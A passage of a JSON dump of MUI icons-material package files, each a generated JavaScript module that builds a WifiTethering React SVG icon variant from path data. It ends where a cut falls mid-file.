    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6zm0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3zm0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41.36.36.86.59 1.41.59s1.05-.23 1.41-.59c.36-.36.59-.86.59-1.41 0-1.1-.9-2-2-2zm8-1h2v6h-2v-6zm0 8h2v2h-2v-2z\"\n}), 'WifiTetheringErrorRoundedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorRoundedTwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6zm0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3zm0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41.36.36.86.59 1.41.59s1.05-.23 1.41-.59c.36-.36.59-.86.59-1.41 0-1.1-.9-2-2-2zm8-1h2v6h-2v-6zm0 8h2v2h-2v-2z\"\n}), 'WifiTetheringErrorRoundedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorRoundedTwoTone.mjs",
    "content": "import createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6zm0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3zm0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41.36.36.86.59 1.41.59s1.05-.23 1.41-.59c.36-.36.59-.86.59-1.41 0-1.1-.9-2-2-2zm8-1h2v6h-2v-6zm0 8h2v2h-2v-2z\"\n}), 'WifiTetheringErrorRoundedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6m0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3m0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41s.86.59 1.41.59 1.05-.23 1.41-.59.59-.86.59-1.41c0-1.1-.9-2-2-2m8-1h2v6h-2zm0 8h2v2h-2z\"\n}), 'WifiTetheringErrorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6m0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3m0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41s.86.59 1.41.59 1.05-.23 1.41-.59.59-.86.59-1.41c0-1.1-.9-2-2-2m8-1h2v6h-2zm0 8h2v2h-2z\"\n}), 'WifiTetheringErrorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6m0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3m0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41s.86.59 1.41.59 1.05-.23 1.41-.59.59-.86.59-1.41c0-1.1-.9-2-2-2m8-1h2v6h-2zm0 8h2v2h-2z\"\n}), 'WifiTetheringErrorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringErrorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-3.31 0-6 2.69-6 6 0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.11-.45 2.1-1.18 2.82l1.42 1.42C17.32 16.15 18 14.66 18 13c0-3.31-2.69-6-6-6m0-4C6.48 3 2 7.48 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-4.42 3.58-8 8-8 2.53 0 4.78 1.17 6.24 3h2.42C18.93 5.01 15.7 3 12 3m0 8c-1.1 0-2 .9-2 2 0 .55.23 1.05.59 1.41s.86.59 1.41.59 1.05-.23 1.41-.59.59-.86.59-1.41c0-1.1-.9-2-2-2m8-1h2v6h-2zm0 8h2v2h-2z\"\n}), 'WifiTetheringErrorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.69 2.69C2.78 8.6 2 10.71 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-1.75.57-3.35 1.51-4.66l1.43 1.43C6.35 10.7 6 11.81 6 13c0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-.63.15-1.23.41-1.76l1.61 1.61c0 .05-.02.1-.02.15 0 .55.23 1.05.59 1.41s.86.59 1.41.59c.05 0 .1-.01.16-.02l7.62 7.62 1.41-1.41zM17.7 14.87c.19-.59.3-1.22.3-1.87 0-3.31-2.69-6-6-6-.65 0-1.28.1-1.87.3l1.71 1.71C11.89 9 11.95 9 12 9c2.21 0 4 1.79 4 4 0 .05 0 .11-.01.16zM12 5c4.42 0 8 3.58 8 8 0 1.22-.27 2.37-.77 3.4l1.49 1.49C21.53 16.45 22 14.78 22 13c0-5.52-4.48-10-10-10-1.78 0-3.44.46-4.89 1.28l1.48 1.48C9.63 5.27 10.78 5 12 5\"\n}), 'WifiTetheringOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.69 2.69C2.78 8.6 2 10.71 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-1.75.57-3.35 1.51-4.66l1.43 1.43C6.35 10.7 6 11.81 6 13c0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-.63.15-1.23.41-1.76l1.61 1.61c0 .05-.02.1-.02.15 0 .55.23 1.05.59 1.41s.86.59 1.41.59c.05 0 .1-.01.16-.02l7.62 7.62 1.41-1.41zM17.7 14.87c.19-.59.3-1.22.3-1.87 0-3.31-2.69-6-6-6-.65 0-1.28.1-1.87.3l1.71 1.71C11.89 9 11.95 9 12 9c2.21 0 4 1.79 4 4 0 .05 0 .11-.01.16zM12 5c4.42 0 8 3.58 8 8 0 1.22-.27 2.37-.77 3.4l1.49 1.49C21.53 16.45 22 14.78 22 13c0-5.52-4.48-10-10-10-1.78 0-3.44.46-4.89 1.28l1.48 1.48C9.63 5.27 10.78 5 12 5\"\n}), 'WifiTetheringOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.69 2.69C2.78 8.6 2 10.71 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-1.75.57-3.35 1.51-4.66l1.43 1.43C6.35 10.7 6 11.81 6 13c0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-.63.15-1.23.41-1.76l1.61 1.61c0 .05-.02.1-.02.15 0 .55.23 1.05.59 1.41s.86.59 1.41.59c.05 0 .1-.01.16-.02l7.62 7.62 1.41-1.41zM17.7 14.87c.19-.59.3-1.22.3-1.87 0-3.31-2.69-6-6-6-.65 0-1.28.1-1.87.3l1.71 1.71C11.89 9 11.95 9 12 9c2.21 0 4 1.79 4 4 0 .05 0 .11-.01.16zM12 5c4.42 0 8 3.58 8 8 0 1.22-.27 2.37-.77 3.4l1.49 1.49C21.53 16.45 22 14.78 22 13c0-5.52-4.48-10-10-10-1.78 0-3.44.46-4.89 1.28l1.48 1.48C9.63 5.27 10.78 5 12 5\"\n}), 'WifiTetheringOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.69 2.69C2.78 8.6 2 10.71 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-1.75.57-3.35 1.51-4.66l1.43 1.43C6.35 10.7 6 11.81 6 13c0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-.63.15-1.23.41-1.76l1.61 1.61c0 .05-.02.1-.02.15 0 .55.23 1.05.59 1.41s.86.59 1.41.59c.05 0 .1-.01.16-.02l7.62 7.62 1.41-1.41zM17.7 14.87c.19-.59.3-1.22.3-1.87 0-3.31-2.69-6-6-6-.65 0-1.28.1-1.87.3l1.71 1.71C11.89 9 11.95 9 12 9c2.21 0 4 1.79 4 4 0 .05 0 .11-.01.16zM12 5c4.42 0 8 3.58 8 8 0 1.22-.27 2.37-.77 3.4l1.49 1.49C21.53 16.45 22 14.78 22 13c0-5.52-4.48-10-10-10-1.78 0-3.44.46-4.89 1.28l1.48 1.48C9.63 5.27 10.78 5 12 5\"\n}), 'WifiTetheringOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.11 3.51c-.4.39-.4 1.03-.01 1.42l1.98 1.98C2.78 8.6 2 10.71 2 13c0 2.36.82 4.53 2.19 6.24.37.47 1.07.5 1.5.08.36-.36.39-.92.08-1.32C4.66 16.63 4 14.89 4 13c0-1.75.57-3.35 1.51-4.66l1.43 1.43C6.35 10.7 6 11.81 6 13c0 1.25.38 2.4 1.03 3.35.34.5 1.08.54 1.51.11.35-.35.37-.88.1-1.29C8.24 14.54 8 13.8 8 13c0-.63.15-1.23.41-1.76l1.61 1.61c0 .05-.02.1-.02.15 0 .55.23 1.05.59 1.41s.86.59 1.41.59c.05 0 .1-.01.16-.02l6.91 6.91c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51c-.39-.39-1.02-.39-1.4 0M17.7 14.87c.19-.59.3-1.22.3-1.87 0-3.31-2.69-6-6-6-.65 0-1.28.1-1.87.3l1.71 1.71C11.89 9 11.95 9 12 9c2.21 0 4 1.79 4 4 0 .05 0 .11-.01.16zM12 5c4.42 0 8 3.58 8 8 0 1.22-.27 2.37-.77 3.4l1.49 1.49C21.53 16.45 22 14.78 22 13c0-5.52-4.48-10-10-10-1.78 0-3.44.46-4.89 1.28l1.48 1.48C9.63 5.27 10.78 5 12 5\"\n}), 'WifiTetheringOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.11 3.51c-.4.39-.4 1.03-.01 1.42l1.98 1.98C2.78 8.6 2 10.71 2 13c0 2.36.82 4.53 2.19 6.24.37.47 1.07.5 1.5.08.36-.36.39-.92.08-1.32C4.66 16.63 4 14.89 4 13c0-1.75.57-3.35 1.51-4.66l1.43 1.43C6.35 10.7 6 11.81 6 13c0 1.25.38 2.4 1.03 3.35.34.5 1.08.54 1.51.11.35-.35.37-.88.1-1.29C8.24 14.54 8 13.8 8 13c0-.63.15-1.23.41-1.76l1.61 1.61c0 .05-.02.1-.02.15 0 .55.23 1.05.59 1.41s.86.59 1.41.59c.05 0 .1-.01.16-.02l6.91 6.91c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51c-.39-.39-1.02-.39-1.4 0M17.7 14.87c.19-.59.3-1.22.3-1.87 0-3.31-2.69-6-6-6-.65 0-1.28.1-1.87.3l1.71 1.71C11.89 9 11.95 9 12 9c2.21 0 4 1.79 4 4 0 .05 0 .11-.01.16zM12 5c4.42 0 8 3.58 8 8 0 1.22-.27 2.37-.77 3.4l1.49 1.49C21.53 16.45 22 14.78 22 13c0-5.52-4.48-10-10-10-1.78 0-3.44.46-4.89 1.28l1.48 1.48C9.63 5.27 10.78 5 12 5\"\n}), 'WifiTetheringOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.69 2.69C2.78 8.6 2 10.71 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-1.75.57-3.35 1.51-4.66l1.43 1.43C6.35 10.7 6 11.81 6 13c0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-.63.15-1.23.41-1.76l1.61 1.61c0 .05-.02.1-.02.15 0 .55.23 1.05.59 1.41s.86.59 1.41.59c.05 0 .1-.01.16-.02l7.62 7.62 1.41-1.41zM17.7 14.87c.19-.59.3-1.22.3-1.87 0-3.31-2.69-6-6-6-.65 0-1.28.1-1.87.3l1.71 1.71C11.89 9 11.95 9 12 9c2.21 0 4 1.79 4 4 0 .05 0 .11-.01.16zM12 5c4.42 0 8 3.58 8 8 0 1.22-.27 2.37-.77 3.4l1.49 1.49C21.53 16.45 22 14.78 22 13c0-5.52-4.48-10-10-10-1.78 0-3.44.46-4.89 1.28l1.48 1.48C9.63 5.27 10.78 5 12 5\"\n}), 'WifiTetheringOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.69 2.69C2.78 8.6 2 10.71 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-1.75.57-3.35 1.51-4.66l1.43 1.43C6.35 10.7 6 11.81 6 13c0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-.63.15-1.23.41-1.76l1.61 1.61c0 .05-.02.1-.02.15 0 .55.23 1.05.59 1.41s.86.59 1.41.59c.05 0 .1-.01.16-.02l7.62 7.62 1.41-1.41zM17.7 14.87c.19-.59.3-1.22.3-1.87 0-3.31-2.69-6-6-6-.65 0-1.28.1-1.87.3l1.71 1.71C11.89 9 11.95 9 12 9c2.21 0 4 1.79 4 4 0 .05 0 .11-.01.16zM12 5c4.42 0 8 3.58 8 8 0 1.22-.27 2.37-.77 3.4l1.49 1.49C21.53 16.45 22 14.78 22 13c0-5.52-4.48-10-10-10-1.78 0-3.44.46-4.89 1.28l1.48 1.48C9.63 5.27 10.78 5 12 5\"\n}), 'WifiTetheringOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.69 2.69C2.78 8.6 2 10.71 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-1.75.57-3.35 1.51-4.66l1.43 1.43C6.35 10.7 6 11.81 6 13c0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-.63.15-1.23.41-1.76l1.61 1.61c0 .05-.02.1-.02.15 0 .55.23 1.05.59 1.41s.86.59 1.41.59c.05 0 .1-.01.16-.02l7.62 7.62 1.41-1.41zM17.7 14.87c.19-.59.3-1.22.3-1.87 0-3.31-2.69-6-6-6-.65 0-1.28.1-1.87.3l1.71 1.71C11.89 9 11.95 9 12 9c2.21 0 4 1.79 4 4 0 .05 0 .11-.01.16zM12 5c4.42 0 8 3.58 8 8 0 1.22-.27 2.37-.77 3.4l1.49 1.49C21.53 16.45 22 14.78 22 13c0-5.52-4.48-10-10-10-1.78 0-3.44.46-4.89 1.28l1.48 1.48C9.63 5.27 10.78 5 12 5\"\n}), 'WifiTetheringOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.81 2.81 1.39 4.22l2.69 2.69C2.78 8.6 2 10.71 2 13c0 2.76 1.12 5.26 2.93 7.07l1.42-1.42C4.9 17.21 4 15.21 4 13c0-1.75.57-3.35 1.51-4.66l1.43 1.43C6.35 10.7 6 11.81 6 13c0 1.66.68 3.15 1.76 4.24l1.42-1.42C8.45 15.1 8 14.11 8 13c0-.63.15-1.23.41-1.76l1.61 1.61c0 .05-.02.1-.02.15 0 .55.23 1.05.59 1.41s.86.59 1.41.59c.05 0 .1-.01.16-.02l7.62 7.62 1.41-1.41zM17.7 14.87c.19-.59.3-1.22.3-1.87 0-3.31-2.69-6-6-6-.65 0-1.28.1-1.87.3l1.71 1.71C11.89 9 11.95 9 12 9c2.21 0 4 1.79 4 4 0 .05 0 .11-.01.16zM12 5c4.42 0 8 3.58 8 8 0 1.22-.27 2.37-.77 3.4l1.49 1.49C21.53 16.45 22 14.78 22 13c0-5.52-4.48-10-10-10-1.78 0-3.44.46-4.89 1.28l1.48 1.48C9.63 5.27 10.78 5 12 5\"\n}), 'WifiTetheringOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 2c0-3.31-2.69-6-6-6s-6 2.69-6 6c0 2.22 1.21 4.15 3 5.19l1-1.74c-1.19-.7-2-1.97-2-3.45 0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.48-.81 2.75-2 3.45l1 1.74c1.79-1.04 3-2.97 3-5.19M12 3C6.48 3 2 7.48 2 13c0 3.7 2.01 6.92 4.99 8.65l1-1.73C5.61 18.53 4 15.96 4 13c0-4.42 3.58-8 8-8s8 3.58 8 8c0 2.96-1.61 5.53-4 6.92l1 1.73c2.99-1.73 5-4.95 5-8.65 0-5.52-4.48-10-10-10\"\n}), 'WifiTetheringOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 2c0-3.31-2.69-6-6-6s-6 2.69-6 6c0 2.22 1.21 4.15 3 5.19l1-1.74c-1.19-.7-2-1.97-2-3.45 0-2.21 1.79-4 4-4s4 1.79 4 4c0 1.48-.81 2.75-2 3.45l1 1.74c1.79-1.04 3-2.97 3-5.19M12 3C6.48 3 2 7.48 2 13c0 3.7 2.01 6.92 4.99 8.65l1-1.73C5.61 18.53 4 15.96 4 13c0-4.42 3.58-8 8-8s8 3.58 8 8c0 2.96-1.61 5.53-4 6.92l1 1.73c2.99-1.73 5-4.95 5-8.65 0-5.52-4.48-10-10-10\"\n}), 'WifiTetheringOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 2c0-3.56-3.11-6.4-6.75-5.95-2.62.32-4.78 2.41-5.18 5.02-.33 2.15.49 4.11 1.93 5.4.48.43 1.23.33 1.56-.23l.01-.01c.24-.42.14-.93-.22-1.26-1.03-.93-1.59-2.37-1.22-3.94.33-1.42 1.48-2.57 2.9-2.91C13.65 8.49 16 10.47 16 13c0 1.18-.52 2.23-1.33 2.96-.36.32-.47.84-.23 1.26l.01.01c.31.53 1.03.69 1.5.28C17.2 16.41 18 14.8 18 13m-7.17-9.93c-4.62.52-8.35 4.33-8.78 8.96-.35 3.7 1.32 7.02 4.02 9.01.48.35 1.16.2 1.46-.31.25-.43.14-.99-.26-1.29-2.28-1.69-3.65-4.55-3.16-7.7.54-3.5 3.46-6.29 6.98-6.68C15.91 4.51 20 8.28 20 13c0 2.65-1.29 4.98-3.27 6.44-.4.3-.51.85-.26 1.29.3.52.98.66 1.46.31C20.4 19.22 22 16.3 22 13c0-5.91-5.13-10.62-11.17-9.93\"\n}), 'WifiTetheringRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiTetheringRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m6 2c0-3.56-3.11-6.4-6.75-5.95-2.62.32-4.78 2.41-5.18 5.02-.33 2.15.49 4.11 1.93 5.4.48.43 1.23.33 1.56-.23l.01-.01c.24-.42.14-.93-.22-1.26-1.03-.93-1.59-2.37-1.22-3.94.33-1.42 1.48-2.57 2.9-2.91C13.65 8.49 16 10.47 16 13c0 1.18-.52 2.23-1.33 2.96-.36.32-.47.84-.23 1.26l.01.01c.31.53 1.03.69 1.5.28C17.2 16.41 18 14.8 18 13m-7.17-9.93c-4.62.52-8.35 4.33-8.78 8.96-.35 3.7 1.32 7.02 4.02 9.01.48.35 1.16.2 1.46-.31.25-.43.14-.99-.26-1.29-2.28-1.69-3.65-4.55-3.16-7.7.54-3.5 3.46-6.29 6.98-6.68C15.91 4.51 20 8.28 20 13c0 2.65-1.29 4.98-3.27 6.44-.4.3-.51.85-.26 